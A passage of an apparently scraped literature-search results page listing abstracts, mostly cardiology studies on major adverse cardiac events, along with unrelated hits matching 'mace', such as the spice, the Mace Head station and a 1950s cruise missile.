formal education. Education has the most potent effect on performance on both M-ACE and M-MMSE in the Indian cohort. Education-stratified scores on the M-ACE and the M-MMSE, will provide a more appropriate means of establishing the cognitive status of patients. It is also our feeling that these cut-off scores will be useful across India. 19. Discriminative Power of the HEART Score for Obstructive Coronary Artery Disease in Acute Chest Pain Patients Referred for CCTA. Science.gov (United States) Kolff, Adriana Q; Bom, Michiel J; Knol, Remco J J; van de Zant, Friso M; van der Zee, Petrus M; Cornel, Jan H 2016-03-01 20. Prognostic Value of Plasma Pentraxin-3 Levels in Patients with Stable Coronary Artery Disease after Drug-Eluting Stent Implantation Directory of Open Access Journals (Sweden) Liu Haibo 2014-01-01 Full Text Available Pentraxin-3 (PTX3 is an inflammatory marker thought to be more specific to cardiovascular inflammation than C-reactive protein (CRP. Our aim was to assess the prognostic value of PTX3 in patients with stable coronary artery disease (CAD after drug eluting stent (DES implantation. Plasma PTX3 levels were measured before percutaneous coronary intervention (PCI and at 24 h post-PCI in 596 consecutive patients with stable CAD. Patients were followed up for a median of 3 years (range 1–5 for major adverse cardiovascular events (MACEs. We found that the post-PCI plasma PTX3 levels were significantly higher at 24 h after PCI than pre-PCI, patients with MACEs had higher post-PCI PTX3 levels compared with MACEs-free patients, patients with higher post-PCI PTX3 levels (median > 4.384 ng/mL had a higher risk for MACEs than those with PTX3 < 4.384 ng/mL, and post-PCI PTX3, cTnI, multiple stents, and age but not high-sensitivity CRP (hsCRP were independently associated with the prevalence of MACEs after DES implantation. The present study shows that post-PCI PTX3 may be a more reliable inflammatory predictor of long-term MACEs in patients with stable CAD undergoing DES implantation than CRP. Measurement of post-PCI PTX3 levels could provide a rationale for risk stratification of patients with stable CAD after DES implantation. 1. [Relationship between epicardial adipose tissue and clinical prognosis of patients with coronary heart disease after percutaneous coronary intervention]. Science.gov (United States) Zhang, Y Y; Li, X; Lin, W H; Liu, J J; Jing, R; Lu, Y J; Di, C Y; Shi, H Y; Gao, P 2018-01-16 Objective: To further evaluate the clinical value of epicardial adipose tissue volume (EATV) in predicting the prognosis of coronary heart disease (CHD) after percutaneous coronary intervention (PCI). Methods: From July 2013 to July 2016 in TEDA International Cardiovascular Disease Hospital, a total of 474 patients diagnosed with CHD were included in this study.According to the result of EATV, patients were divided into three groups, group A (EATV≤75 ml), group B (75 mlEATVEATV≥150 ml). Then the level of body mass index (BMI), hypersensitive c-reactive protein (hs-CRP), interleukin (IL)-6 and tumor necrosis factor (TNF)-α were tested for all the three groups.All the patients were followed up for 1 year for major adverse cardiovascular events (MACE). The clinical value of EATV in predicting the occurrence of MACE events was evaluated. Results: The BMI, level of hs-CRP, TNF-α in group B were higher than group A, group C were significantly higher than group B, with statistically significant difference across all the comparisons ( P EATV was positively correlated with hs-CRP, IL-6, TNF-α ( r =0.675-0.700, P EATV level was 120.39 ml to predict MACE (area under cure: 0.751, 95% CI : 0.634-0.868, P EATV>120.39 ml can be used as an independent risk factor for predicting the occurrence of MACE. Conclusion: The level of EATV is closely related to the occurrence of MACE events, and EATV>120.39 ml is an independent risk factor for MACE in patients with CHD after PCI. 2. Moderate-intensity statin therapy seems ineffective in primary cardiovascular prevention in patients with type 2 diabetes complicated by nephropathy. A multicenter prospective 8 years follow up study. Science.gov (United States) Sasso, Ferdinando Carlo; Lascar, Nadia; Ascione, Antonella; Carbonara, Ornella; De Nicola, Luca; Minutolo, Roberto; Salvatore, Teresa; Rizzo, Maria Rosaria; Cirillo, Plinio; Paolisso, Giuseppe; Marfella, Raffaele 2016-10-13 Although numerous studies and metanalysis have shown the beneficial effect of statin therapy in CVD secondary prevention, there is still controversy such the use of statins for primary CVD prevention in patients with DM. The purpose of this study was to evaluate the occurrence of total major adverse cardio-vascular events (MACE) in a cohort of patients with type 2 diabetes complicated by nephropathy treated with statins, in order to verify real life effect of statin on CVD primary prevention. We conducted an observational prospective multicenter study on 564 patients with type 2 diabetic nephropathy free of cardiovascular disease attending 21 national outpatient diabetes clinics and followed them up for 8 years. 169 of them were treated with statins (group A) while 395 were not on statins (group B). Notably, none of the patients was treated with a high-intensity statin therapy according to last ADA position statement. Total MACE occurred in 32 patients from group A and in 68 patients from group B. Fatal MACE occurred in 13 patients from group A and in 30 from group B; nonfatal MACE occurred in 19 patients from group A and in 38 patients from group B. The analysis of the Kaplan-Meier survival curves showed a not statistically significant difference in the incidence of total (p 0.758), fatal (p 0.474) and nonfatal (p 0.812) MACE between the two groups. HbA1c only showed a significant difference in the incidence of MACE between the two groups (HR 1.201, CI 1.041-1.387, p 0.012). These findings suggest that, in a real clinical setting, moderate-intensity statin treatment is ineffective in cardiovascular primary prevention for patients with diabetic nephropathy. Trial registration ClinicalTrials.gov Identifier NCT00535925. Date of registration: September 24, 2007, retrospectively registered. 3. Left atrial enlargement increases the risk of major adverse cardiac events independent of coronary vasodilator capacity Energy Technology Data Exchange (ETDEWEB) Koh, Angela S. [Brigham and Women' s Hospital, Division of Nuclear Medicine and Molecular Imaging, Department of Radiology, Boston, MA (United States); National Heart Centre Singapore, Singapore (Singapore); Murthy, Venkatesh L.; Sitek, Arkadiusz; Gayed, Peter; Bruyere, John; Di Carli, Marcelo F. [Brigham and Women' s Hospital, Division of Nuclear Medicine and Molecular Imaging, Department of Radiology, Boston, MA (United States); Wu, Justina [Brigham and Women' s Hospital, Division of Cardiology, Department of Medicine, and the Noninvasive Cardiovascular Imaging Program, Departments of Medicine (Cardiology) and Radiology, Boston, MA (United States); Dorbala, Sharmila [Brigham and Women' s Hospital, Division of Nuclear Medicine and Molecular Imaging, Department of Radiology, Boston, MA (United States); Brigham and Women' s Hospital, Department of Radiology and the Division of Cardiology, Noninvasive Cardiovascular Imaging Section, Boston, MA (United States) 2015-09-15 Longstanding uncontrolled atherogenic risk factors may contribute to left atrial (LA) hypertension, LA enlargement (LAE) and coronary vascular dysfunction. Together they may better identify risk of major adverse cardiac events (MACE). The aim of this study was to test the hypothesis that chronic LA hypertension as assessed by LAE modifies the relationship between coronary vascular function and MACE. In 508 unselected subjects with a normal clinical {sup 82}Rb PET/CT, ejection fraction ≥40 %, no prior coronary artery disease, valve disease or atrial fibrillation, LAE was determined based on LA volumes estimated from the hybrid perfusion and CT transmission scan images and indexed to body surface area. Absolute myocardial blood flow and global coronary flow reserve (CFR) were calculated. Subjects were systematically followed-up for the primary end-point - MACE - a composite of all-cause death, myocardial infarction, hospitalization for heart failure, stroke, coronary artery disease progression or revascularization. During a median follow-up of 862 days, 65 of the subjects experienced a composite event. Compared with subjects with normal LA size, subjects with LAE showed significantly lower CFR (2.25 ± 0.83 vs. 1.95 ± 0.80, p = 0.01). LAE independently and incrementally predicted MACE even after accounting for clinical risk factors, medication use, stress left ventricular ejection fraction, stress left ventricular end-diastolic volume index and CFR (chi-squared statistic increased from 30.9 to 48.3; p = 0.001). Among subjects with normal CFR, those with LAE had significantly worse event-free survival (risk adjusted HR 5.4, 95 % CI 2.3 - 12.8, p < 0.0001). LAE and reduced CFR are related but distinct cardiovascular adaptations to atherogenic risk factors. LAE is a risk marker for MACE independent of clinical factors and left ventricular volumes; individuals with LAE may be at risk of MACE despite normal coronary vascular function. (orig.) 4. The SABRE Trial (Sirolimus Angioplasty Balloon for Coronary In-Stent Restenosis) DEFF Research Database (Denmark) Verheye, Stefan; Vrolix, Mathias; Kumsars, Indulis 2017-01-01 centers, 50 ISR patients were treated with the Virtue balloon. Angiographic measurements at 6 months are reported, along with 12-month clinical follow-up. RESULTS Procedural success in the intention-to-treat population was 100 The primary safety endpoint was target lesion failure (TLF) (cardiac death...... and 14.3% MACE and for the per-protocol population were 2.8% TLF and 2.8% MACE. CONCLUSIONS This first-in-human study showed excellent procedural success for the Virtue sirolimus-eluting angioplasty balloon, 6-month LLL rates in line with current stent-free ISR treatment options, and clinical outcomes... 5. Drug-eluting stents appear superior to bare metal stents for vein-graft PCI in vessels up to a stent diameter of 4 mm Directory of Open Access Journals (Sweden) Oliver P. Guttmann 2016-05-01 Full Text Available BackgroundResearch trials have shown improved short-term outcome with drug-eluting stents (DES over bare metal stents (BMS in saphenous vein graft (SVG percutaneous coronary intervention (PCI, primarily by reducing target vessel revascularization (TVR for in-stent restenosis. We compared the outcomes in patients undergoing SVG stent implantation treated with DES or BMS. In exploratory analyses we investigated the influence of stent generation and diameter.MethodsData were obtained from a prospective database of 657 patients who underwent PCI for SVG lesions between 2003 and 2011. A total of 344 patients had PCI with BMS and 313 with DES. Propensity scores were developed based on 15 observed baseline covariates in a logistic regression model with stent type as the dependent variable. The nearest-neighbour-matching algorithm with Greedy 5-1 Digit Matching was used to produce two patient cohorts of 313 patients each. We assessed major adverse cardiac events (MACE out to a median of 3.3 years (interquartile range: 2.1-4.1. MACE was defined as all-cause mortality, myocardial infarction (MI, TVR and stroke.ResultsThere was a significant difference in MACE between the two groups in favour of DES (17.9% DES vs. 31.2% BMS group; p = 0.0017 over the 5-year follow-up period. MACE was driven by increased TVR in the BMS group. There was no difference in death, MI or stroke. Adjusted Cox analysis confirmed a decreased risk of MACE for DES compared with BMS 0.75 (95% confidence interval (CI 0.52-0.94, with no difference in the hazard of all-cause mortality (hazard ratio: 1.08; 95% CI: 0.77-1.68. However, when looking at stent diameters greater than 4 mm, no difference was seen in MACE rates between BMS and DES.ConclusionsOverall in our cohort of patients who had PCI for SVG disease, DES use resulted in lower MACE rates compared with BMS over a 5-year follow-up period; however, for stent diameters over 4 mm no difference in MACE rates was seen. 6. Linear and Nonlinear Multiset Canonical Correlation Analysis (invited talk) DEFF Research Database (Denmark) Hilger, Klaus Baggesen; Nielsen, Allan Aasbjerg; Larsen, Rasmus 2002-01-01 This paper deals with decompositioning of multiset data. Friedman's alternating conditional expectations (ACE) algorithm is extended to handle multiple sets of variables of different mixtures. The new algorithm finds estimates of the optimal transformations of the involved variables that maximize...... the sum of the pair-wise correlations over all sets. The new algorithm is termed multi-set ACE (MACE) and can find multiple orthogonal eigensolutions. MACE is a generalization of the linear multiset correlations analysis (MCCA). It handles multivariate multisets of arbitrary mixtures of both continuous... 7. High-Dose Statin Pretreatment Decreases Periprocedural Myocardial Infarction and Cardiovascular Events in Patients Undergoing Elective Percutaneous Coronary Intervention: A Meta-Analysis of Twenty-Four Randomized Controlled Trials Science.gov (United States) Wang, Le; Peng, Pingan; Zhang, Ou; Xu, Xiaohan; Yang, Shiwei; Zhao, Yingxin; Zhou, Yujie 2014-01-01 Background Evidence suggests that high-dose statin pretreatment may reduce the risk of periprocedural myocardial infarction (PMI) and major adverse cardiac events (MACE) for certain patients; however, previous analyses have not considered patients with a history of statin maintenance treatment. In this meta-analysis of randomized controlled trials (RCTs), we reevaluated the efficacy of short-term high-dose statin pretreatment to prevent PMI and MACE in an expanded set of patients undergoing elective percutaneous coronary intervention. Methods We searched the PubMed/Medline database for RCTs that compared high-dose statin pretreatment with no statin or low-dose statin pretreatment as a prevention of PMI and MACE. We evaluated the incidence of PMI and MACE, including death, spontaneous myocardial infarction, and target vessel revascularization at the longest follow-up for each study for subgroups stratified by disease classification and prior low-dose statin treatment. Results Twenty-four RCTs with a total of 5,526 patients were identified. High-dose statin pretreatment was associated with 59% relative reduction in PMI (odds ratio [OR]: 0.41; 95% confidence interval [CI]: 0.34–0.49; Pstatin pretreatment on MACE was significant for statin-naive patients (OR: 0.69; 95% CI: 0.50–0.95; P = 0.02) and prior low dose statin-treated patients (OR: 0.28; 95% CI: 0.12–0.65; P = 0.003); and for patients with acute coronary syndrome (OR: 0.52; 95% CI: 0.34–0.79; P = 0.003), but not for patients with stable angina (OR: 0.71; 95% CI 0.45–1.10; P = 0.12). Long-term effects on survival were less obvious. Conclusions High-dose statin pretreatment can result in a significant reduction in PMI and MACE for patients undergoing elective PCI. The positive effect of high-dose statin pretreatment on PMI and MACE is significant for statin-naïve patients and patients with prior treatment. The positive effect of high-dose statin pretreatment on MACE is significant for 8. Clinical Outcomes of patients with coronary artery disease who underwent FFR evaluation of intermediate coronary lesionS– COFFRS study Directory of Open Access Journals (Sweden) 2017-07-01 Conclusion: In our experience, MACE events were not higher in patients with FFR > 0.8 and kept under medical therapy and were similarly lower in patients with FFR ≤0.8 and underwent revascularisation (p = 0.73. Also MACE events were higher in patients with FFR ≤ 0.8 and did not undergo revascularisation compared to other two appropriately treated groups (p = 0.03. FFR based revascularization decision appears to be a safe strategy in Indian patients. 9. Focusing on life beyond numers DEFF Research Database (Denmark) Prip, Anne; Christiansen, Anette Wendelboe; Zoffmann, Vibeke for interventions which are especially tailored to young adult women with poorly controlled Type 1 Diabetes (T1D), applicable by clinicians in practice and effective in promoting health and preventing complications. Susan, a 24-year-old woman, was one of 200 patients between 18 and 35 years old with type 1 diabetes...... provide insight into how the autonomy supportive intervention is experienced, from the person perspective. Methods A case study was conducted one year after Susan had finished the trial. Susan was interviewed by two external interviewers who were not involved in the intervention. The interview...... was thematically analysed according to a procedure suggested by Braun and Clarke. An overview of Susan’s diabetes management from onset until after the GSD intervention was made based on the interview and electronic patient record data on HbA1c, treatment and complication status. Finally, changes on psychometric... 10. Antenatal care--antenatal screening for fetal abnormality. Science.gov (United States) Baston, Helen 2003-02-01 JOANNA IS NOW 24 WEEKS pregnant. She is feeling very well and finding that now her energy has returned, she is really enjoying being preganant. She still proudly shows her precious scan picture to interested friends and takes the occasional glance herself during quiet moments. Joanna, has a cousin, Susan, who has Down's syndrome. Susan is a happy and loving child who has brought a lot of joy, as well as heartache, to the extended family. Although Joanna has no delusions about the hard work and continuing care that her cousin requires, she would not herself contemplate terminating a pregnancy if her baby had the condition. 11. Fantastiske forbindelser relationer i undervisning og læringssamvær DEFF Research Database (Denmark) Antologiens artikler er lavet af en række anerkendte forskere og ide-folk fra Danmark, Norge, Holland, England og USA. Herunder Peter Lang, Daniel Stern, Maria Aarts, Thomas Armstrong, Maria Aarts, Jan Tønnesvang, Stein Bråten, Jesper Juul og Susan Hart......Antologiens artikler er lavet af en række anerkendte forskere og ide-folk fra Danmark, Norge, Holland, England og USA. Herunder Peter Lang, Daniel Stern, Maria Aarts, Thomas Armstrong, Maria Aarts, Jan Tønnesvang, Stein Bråten, Jesper Juul og Susan Hart... 12. Matrix modulation of the toxicity of alkenylbenzenes, studied by an integrated approach using in vitro, in vivo, and physiologically based biokinetic models NARCIS (Netherlands) Al-Husainy, W.A.A.M. 2013-01-01 Alkenylbenzenes such as estragole and methyleugenol are common components of spices and herbs such as tarragon, basil, fennel, mace, allspice, star anise and anise and their essential oils (Smithet al., 2002). There is an interest in the safety evaluation of alkenylbenzenes because 13. Outcomes after revascularisation with everolimus- and sirolimus-eluting stents in patients with acute coronary syndromes and stable angina pectoris DEFF Research Database (Denmark) Antonsen, Lisbeth; Thayssen, Per; Hansen, Henrik S 2014-01-01 ): cardiac death, myocardial infarction (MI), stent thrombosis, or target vessel revascularisation within 18 months. Hazard ratios (HR) and 95% confidence intervals (CI) were calculated for the endpoints. At 18-month follow-up, patients with ACS had higher rates of MACE compared to patients with SAP (8... 14. ORBIT II sub-analysis: Impact of impaired renal function following treatment of severely calcified coronary lesions with the Orbital Atherectomy System. Science.gov (United States) Lee, Michael S; Lee, Arthur C; Shlofmitz, Richard A; Martinsen, Brad J; Hargus, Nick J; Elder, Mahir D; Généreux, Philippe; Chambers, Jeffrey W 2017-04-01 To investigate the safety and efficacy of the coronary Orbital Atherectomy System (OAS) to prepare severely calcified lesions for stent deployment in patients grouped by renal function. Percutaneous coronary intervention (PCI) of severely calcified lesions is associated with increased rates of major adverse cardiac events (MACE), including death, myocardial infarction (MI), and target vessel revascularization (TVR) compared with PCI of non-calcified vessels. Patients with chronic kidney disease (CKD) are at increased risk for MACE after PCI. The impact of CKD on coronary orbital atherectomy treatment has not been well characterized. ORBIT II was a prospective, multicenter trial in the U.S., which enrolled 443 patients with severely calcified coronary lesions. The MACE rate was defined as a composite of cardiac death, MI, and target vessel revascularization. Of the 441 patients enrolled with known estimated glomerular filtration rate (eGFR) values at baseline, 333 (75.5%) patients had eGFR renal impairment had a higher MACE rate through one year follow-up due to a higher rate of periprocedural MI. Interestingly, the rates of cardiac death and revascularization through 1-year were similar in patients with eGFR renal impairment and severely calcified coronary lesions. © 2016 Wiley Periodicals, Inc. © 2016 Wiley Periodicals, Inc. 15. Current but not past smoking increases the risk of cardiac events: Insights from coronary computed tomographic angiography NARCIS (Netherlands) R. Nakanishi (Rine); D.S. Berman (Daniel); M.J. Budoff (Matthew J.); H. Gransar (Heidi); S. Achenbach (Stephan); M. Al-Mallah (Mouaz); D. Andreini (Daniele); F. Cademartiri (Filippo); T.Q. Callister (Tracy); H.-J. Chang (Hyuk-Jae); V.Y. Cheng (Victor Y.); K. Chinnaiyan (Kavitha); B.J.W. Chow (Benjamin); R.C. Cury (Ricardo); A. Delago (Augustin); M. Hadamitzky (Martin); J. Hausleiter (Jörg); G.M. Feuchtner (Gudrun); Y.-J. Kim (Yong-Jin); P.A. Kaufmann (Philipp A.); J. Leipsic (Jonathon); F.Y. Lin (Fay); E. Maffei (Erica); G. Pontone (Gianluca); G.L. Raff (Gilbert); L.J. Shaw (Leslee J.); T.C. Villines (Todd); A. Dunning (Allison); J.K. Min (James) 2015-01-01 textabstractAims We evaluated coronary artery disease (CAD) extent, severity, and major adverse cardiac events (MACEs) in never, past, and current smokers undergoing coronary CT angiography (CCTA). Methods and results We evaluated 9456 patients (57.1 ± 12.3 years, 55.5% male) without known CAD (1588 16. Meteorological influences on coastal new particle formation NARCIS (Netherlands) Leeuw, G. de; Kunz, G.J.; Buzorius, G.; ODowd, C.D. 2002-01-01 The meteorological situation at the midlatitude coastal station of Mace Head, Ireland, is described based on observations during the New Particle Formation and Fate in the Coastal Environment (PARFORCE) experiments in September 1998 and June 1999. Micrometeorological sensors were mounted near the 17. Coastal new particle formation: environmental conditions and aerosol physicochemical characteristics during nucleation bursts NARCIS (Netherlands) O'Dowd, C.D.; Haemeri, K.; Maekelae, J.M.; Vaekeva, M.; Aalto, P.; Leeuw, G. de; Kunz, G.J.; Becker, E.; Hansson, H-C.; Allen, A.G.; Harrison, R.M.; Berresheim, H.; Kleefeld, C.; Geever, M.; Jennings, S.G.; Kulmala, M. 2002-01-01 Nucleation mode aerosol was characterized during coastal nucleation events at Mace Head during intensive New Particle Formation and Fate in the Coastal Environment (PARFORCE) field campaigns in September 1998 and June 1999. Nucleation events were observed almost on a daily basis during the 18. ATRAN Terrain Sensing Guidance-The Grand-Daddy System Science.gov (United States) Koch, Richard F.; Evans, Donald C. 1980-12-01 ATRAN was the pioneer terrain sensing guidance system developed in the 1950 era and deployed in Europe on the Air Force's mobile, ground launched TM-76A MACE cruise missile in the late 1950's and early 1960's. The background, principles and technology are described for this system which was the forerunner of todays modern autonomous standoff terrain sensing guided weapons. 19. Poor adherence to P2Y12 antagonists increased cardiovascular risks in Chinese PCI-treated patients. Science.gov (United States) Sun, Yang; Li, Chenze; Zhang, Lina; Hu, Dong; Zhang, Xudong; Yu, Ting; Tao, Min; Wang, Dao Wen; Shen, Xiaoqing 2017-03-01 Low adherence to secondary prevention medications (ATM) of patients after acute coronary syndrome (ACS) is associated with poor clinical outcomes. However, literature provides limited data on assessment of ATM and risks associated with poor in Chinese patients with ACS. In the current work, ATM was assessed in consecutively recruited patients with ACS in Tongji Hospital from November 5, 2013 to December 31, 2014. A total of 2126 patients were classified under low adherence (proportion of days covered (PDC) C50%) groups based on their performance after discharge. All patients were followed up at the 1st, 6th, and 12th month of discharge while recording ATM and major adverse cardiac events (MACE). Bivariate logistic regression was used to identify the factors associated with ATM. Cox regression was used to analyze the association between ATM and MACE within one year after discharge. Results showed that coronary artery bypass grafting (CABG) alone had significantly lower proportion of high adherence to P2Y12 antagonists (83.0% vs. 90.7%, P < 0.01) than patients treated with percutaneous coronary intervention (PCI) only. Moreover, in patients undergoing PCI, high adherence to P2Y12 antagonists decreased the risk of MACE (hazard ratio = 0.172, 95% confidence interval: 0.039-0.763; P = 0.021). In conclusion, PCI-treated patients are more prone to remaining adherent to medications than CABG-treated patients. High adherence to P2Y12 antagonists was associated with lower risk of MACE. 20. Large-scale budget applications of mathematical programming in the Forest Service Science.gov (United States) Malcolm Kirby 1978-01-01 Mathematical programming applications in the Forest Service, U.S. Department of Agriculture, are growing. They are being used for widely varying problems: budgeting, lane use planning, timber transport, road maintenance and timber harvest planning. Large-scale applications are being mace in budgeting. The model that is described can be used by developing economies.... 1. Impact of sirolimus-eluting stent fractures without early cardiac events on long-term clinical outcomes: A multislice computed tomography study Energy Technology Data Exchange (ETDEWEB) Ito, Tsuyoshi [Toyohashi Heart Center, Oyama-cho, Toyohashi (Japan); Nagoya City University Graduate School of Medical Sciences, Department of Cardio-Renal Medicine and Hypertension, Nagoya (Japan); Kimura, Masashi; Ehara, Mariko; Terashima, Mitsuyasu; Nasu, Kenya; Kinoshita, Yoshihisa; Habara, Maoto; Tsuchikane, Etsuo; Suzuki, Takahiko [Toyohashi Heart Center, Oyama-cho, Toyohashi (Japan) 2014-05-15 This study sought to evaluate the impact of sirolimus-eluting stent (SES) fractures on long-term clinical outcomes using multislice computed tomography (MSCT). In this study, 528 patients undergoing 6- to 18-month follow-up 64-slice MSCT after SES implantation without early clinical events were followed clinically (the median follow-up interval was 4.6 years). A CT-detected stent fracture was defined as a complete gap with Hounsfield units (HU) <300 at the site of separation. The major adverse cardiac events (MACEs), including cardiac death, stent thrombosis, and target lesion revascularisation, were compared according to the presence of stent fracture. Stent fractures were observed in 39 patients (7.4 %). MACEs were more common in patients with CT-detected stent fractures than in those without (46 % vs. 7 %, p < 0.01). Univariate Cox regression analysis indicated a significant relationship between MACE and stent fracture [hazard ratio (HR) 7.65; p < 0.01], age (HR 1.03; p = 0.04), stent length (HR 1.03; p < 0.01), diabetes mellitus (HR 1.77; p = 0.04), and chronic total occlusion (HR 2.54; p = 0.01). In the multivariate model, stent fracture (HR 5.36; p < 0.01) and age (HR 1.03; p = 0.04) remained significant predictors of MACE. An SES fracture detected by MSCT without early clinical events was associated with long-term clinical adverse events. (orig.) 2. Prognostic value of combined CT angiography and myocardial perfusion imaging versus invasive coronary angiography and nuclear stress perfusion imaging in the prediction of major adverse cardiovascular events DEFF Research Database (Denmark) Chen, Marcus Y.; Rochitte, Carlos E.; Arbab-Zadeh, Armin 2017-01-01 Purpose: To compare the prognostic importance (time to major adverse cardiovascular event [MACE]) of combined computed tomography (CT) angiography and CT myocardial stress perfusion imaging with that of combined invasive coronary angiography (ICA) and stress single photon emission CT myocardial p... 3. Quantification of coronary flow reserve in patients with ischaemic and non-ischaemic cardiomyopathy and its association with clinical outcomes. Science.gov (United States) Majmudar, Maulik D; Murthy, Venkatesh L; Shah, Ravi V; Kolli, Swathy; Mousavi, Negareh; Foster, Courtney R; Hainer, Jon; Blankstein, Ron; Dorbala, Sharmila; Sitek, Arkadiusz; Stevenson, Lynne W; Mehra, Mandeep R; Di Carli, Marcelo F 2015-08-01 Patients with left ventricular systolic dysfunction frequently show abnormal coronary vascular function, even in the absence of overt coronary artery disease. Moreover, the severity of vascular dysfunction might be related to the aetiology of cardiomyopathy.We sought to determine the incremental value of assessing coronary vascular dysfunction among patients with ischaemic (ICM) and non-ischaemic (NICM) cardiomyopathy at risk for adverse cardiovascular outcomes. Coronary flow reserve (CFR, stress/rest myocardial blood flow) was quantified in 510 consecutive patients with rest left ventricular ejection fraction (LVEF) ≤45% referred for rest/stress myocardial perfusion PET imaging. The primary end point was a composite of major adverse cardiovascular events (MACE) including cardiac death, heart failure hospitalization, late revascularization, and aborted sudden cardiac death.Median follow-up was 8.2 months. Cox proportional hazards model was used to adjust for clinical variables. The annualized MACE rate was 26.3%. Patients in the lowest two tertiles of CFR (CFR ≤ 1.65) experienced higher MACE rates than those in the highest tertile (32.6 vs. 15.5% per year, respectively, P = 0.004), irrespective of aetiology of cardiomyopathy. Impaired coronary vascular function, as assessed by reduced CFR by PET imaging, is common in patients with both ischaemic and non-ischaemic cardiomyopathy and is associated with MACE. Published on behalf of the European Society of Cardiology. All rights reserved. © The Author 2015. For permissions please email: [email protected]. 4. MR-proANP improves prediction of mortality and cardiovascular events in patients with STEMI DEFF Research Database (Denmark) Lindberg, Søren; Jensen, Jan Skov; Pedersen, Sune H 2015-01-01 drawn immediately before PCI. Plasma MR-proANP was measured using an automated processing assay. Endpoints were all-cause mortality (n = 137) and the combined endpoint (n = 170) of major adverse cardiovascular events (MACE) defined as cardiovascular mortality and admission due to recurrent MI, ischaemic... 5. Prognostic value of absence or presence of coronary artery disease determined by 64-slice computed tomography coronary angiography A systematic review and meta-analysis DEFF Research Database (Denmark) Abdulla, Jawdat; Asferg, Camilla Lundegaard; Kofoed, Klaus Fuglsang 2011-01-01 To determine via a meta-analysis the prognostic value of 64-slice computed tomography angiography (CTA) by quantifying risk of major adverse cardiac events (MACE) in different patient groups classified according to CT angiographic findings. A systematic literature search and meta... 6. Collection of $^{83}$Rb at low implantation energy for KATRIN CERN Multimedia Zboril, M KATRIN, the KArlsruhe TRItium Neutrino experiment aims to measure the neutrino mass by spectroscopy of the tritium $\\beta$-decay at the endpoint by means of Magnetic Adiabatic Collimation combined with an Electrostatic filter (MAC-E filter). To monitor the HV-system of the KATRIN-setup, we would need one or two $^{83}$Rb sources roughly every half a year. 7. Antonio van Diemen : de opkomst van de VOC in Azië NARCIS (Netherlands) Witteveen, Willem Menno 2011-01-01 The Dutch East India Company, the VOC (Verenigde Oostindische Compagnie ) was founded in 1602 and was the first company with permanent capital, tradable shares and limited liability. Its aim was to monopolise the trade in valuable spices as nutmeg, mace and cloves found only in a remote part of the 8. Prediction of clinical outcome by myocardial CT perfusion in patients with low-risk unstable angina pectoris DEFF Research Database (Denmark) Linde, Jesper J; Sørgaard, Mathias; Kühl, Jørgen T 2017-01-01 The prognostic implications of myocardial computed tomography perfusion (CTP) analyses are unknown. In this sub-study to the CATCH-trial we evaluate the ability of adenosine stress CTP findings to predict mid-term major adverse cardiac events (MACE). In 240 patients with acute-onset chest pain, y... 9. Association Between Helicobacter Pylori Infection and Long-term Outcome in Patients with Drug-eluting Stent Implantation Science.gov (United States) Wang, Rui; Chen, Lei-Lei; Wang, De-Zhao; Chen, Bu-Xing 2017-07-01 To investigate the relationship between Helicobacter pylori (Hp) infection and the long-term outcome in acute coronary syndrome (ACS) patients with drug-eluting stent (DES) implantation and so as to explore the significance of Hp eradication therapy in preventing major adverse cardiac events (MACE) and upper gastrointestinal bleeding (UGIB). 539 ACS patients with DES implantation from January 1, 2010 to December 31, 2012 were analyzed. All the patients were divided into two groups according to the result of 13C urea breath test. 253 patients with Hp infection were put into group A (Hp+), and 286 cases without Hp infection were put into group B (Hp-). Demographic data was collected and all patients went through biochemical indicators and other routine blood examinations. We explored the correlations of Hp infection with MACE and UGIB after 3 to 5 years of follow-up using survival analysis. Survival analysis showed that Hp infection was a predictor of MACE and UGI. Sub-group analysis showed that patients with Hp eradication therapy had no relationship with MACE but had a lower rate of UGIB than those without Hp eradication therapy. 10. South Asian Ethnicity as a Risk Factor for Major Adverse Cardiovascular Events after Renal Transplantation Science.gov (United States) Vangala, Sai K.; Silver, Samuel A.; Wong, Steven C.W.; Huang, Michael; Rapi, Lindita; Nash, Michelle M.; Zaltzman, Jeffrey S. 2011-01-01 Summary Background and objectives South Asians (SAs) comprise 25% of all Canadian visible minorities. SAs constitute a group at high risk for cardiovascular disease in the general population, but the risk in SA kidney transplant recipients has never been studied. Design, setting, participants, & measurements In a cohort study of 864 kidney recipients transplanted from 1998 to 2007 and followed to June 2009, we identified risk factors including ethnicity associated with major cardiac events (MACEs, a composite of nonfatal myocardial infarction, coronary intervention, and cardiac death) within and beyond 3 months after transplant. Kaplan-Meier methodology and multivariate Cox regression analysis were used to determine risk factors for MACEs. Results There was no difference among SAs (n = 139), whites (n = 550), blacks (n = 65), or East Asians (n = 110) in baseline risk, including pre-existing cardiac disease. Post-transplant MACE rate in SAs was 4.4/100 patient-years compared with 1.31, 1.16, and 1.61/100 patient-years in whites, blacks, and East Asians, respectively (P diabetes, systolic BP, and prior cardiac disease. SAs also experienced more MACEs within 3 months after transplant compared with whites (P < 0.0001), blacks (P = 0.04), and East Asians (P = 0.006). However, graft and patient survival was similar to other groups. Conclusions SA ethnicity is an independent risk factor for post-transplant cardiac events. Further study of this high-risk group is warranted. PMID:20884776 11. Dapagliflozin Compared to DPP-4 inhibitors is Associated with Lower Risk of Cardiovascular Events and All-cause Mortality in Type 2 Diabetes Patients (CVD-REAL Nordic) DEFF Research Database (Denmark) Persson, F; Nyström, Thomas; Jørgensen, Marit Eika 2018-01-01 AIMS: To compare the sodium glucose-cotransporter-2-inhibitor (SGLT-2i) dapagliflozin versus dipeptidyl peptidase-4 inhibitors (DPP-4i) regarding risk associations of MACE (nonfatal myocardial infarction, nonfatal stroke or cardiovascular [CV] mortality), hospital events for heart failure (HHF), ... 12. Combined Value of Red Blood Cell Distribution Width and Global Registry of Acute Coronary Events Risk Score for Predicting Cardiovascular Events in Patients with Acute Coronary Syndrome Undergoing Percutaneous Coronary Intervention. Science.gov (United States) Zhao, Na; Mi, Lan; Liu, Xiaojun; Pan, Shuo; Xu, Jiaojiao; Xia, Dongyu; Liu, Zhongwei; Zhang, Yong; Xiang, Yu; Yuan, Zuyi; Guan, Gongchang; Wang, Junkui 2015-01-01 Global Registry of Acute Coronary Events (GRACE) risk score and red blood cell distribution width (RDW) content can both independently predict major adverse cardiac events (MACEs) in patients with acute coronary syndrome (ACS). We investigated the combined predictive value of RDW and GRACE risk score for cardiovascular events in patients with ACS undergoing percutaneous coronary intervention (PCI) for the first time. We enrolled 480 ACS patients. During a median follow-up time of 37.2 months, 70 (14.58%) patients experienced MACEs. Patients were divided into tertiles according to the baseline RDW content (11.30-12.90, 13.00-13.50, 13.60-16.40). GRACE score was positively correlated with 